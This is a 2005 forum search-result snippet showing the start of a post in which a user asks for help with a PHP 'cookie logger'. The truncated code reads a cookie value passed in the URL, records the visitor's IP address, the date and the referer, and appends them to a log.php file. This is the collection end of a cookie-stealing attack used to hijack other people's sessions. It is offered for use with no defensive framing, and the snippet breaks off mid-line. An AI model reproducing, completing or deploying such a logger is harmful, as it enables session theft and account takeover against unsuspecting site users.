Search found 1 match
- Tue Jul 19, 2005 7:07 am
- Forum: PHP - Code
- Topic: Cookie logger help with bad code
- Replies: 2
- Views: 488
Cookie logger help with bad code
im using the code to log cookies below <?php $cookie = $_GET['c']; $ip = getenv ('REMOTE_ADDR'); $date=date("j F, Y, g:i a"); $referer=getenv ('HTTP_REFERER'); $fp = fopen('log.php', 'a'); fwrite($fp, 'Cookie: ' .$cookie. '<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$r...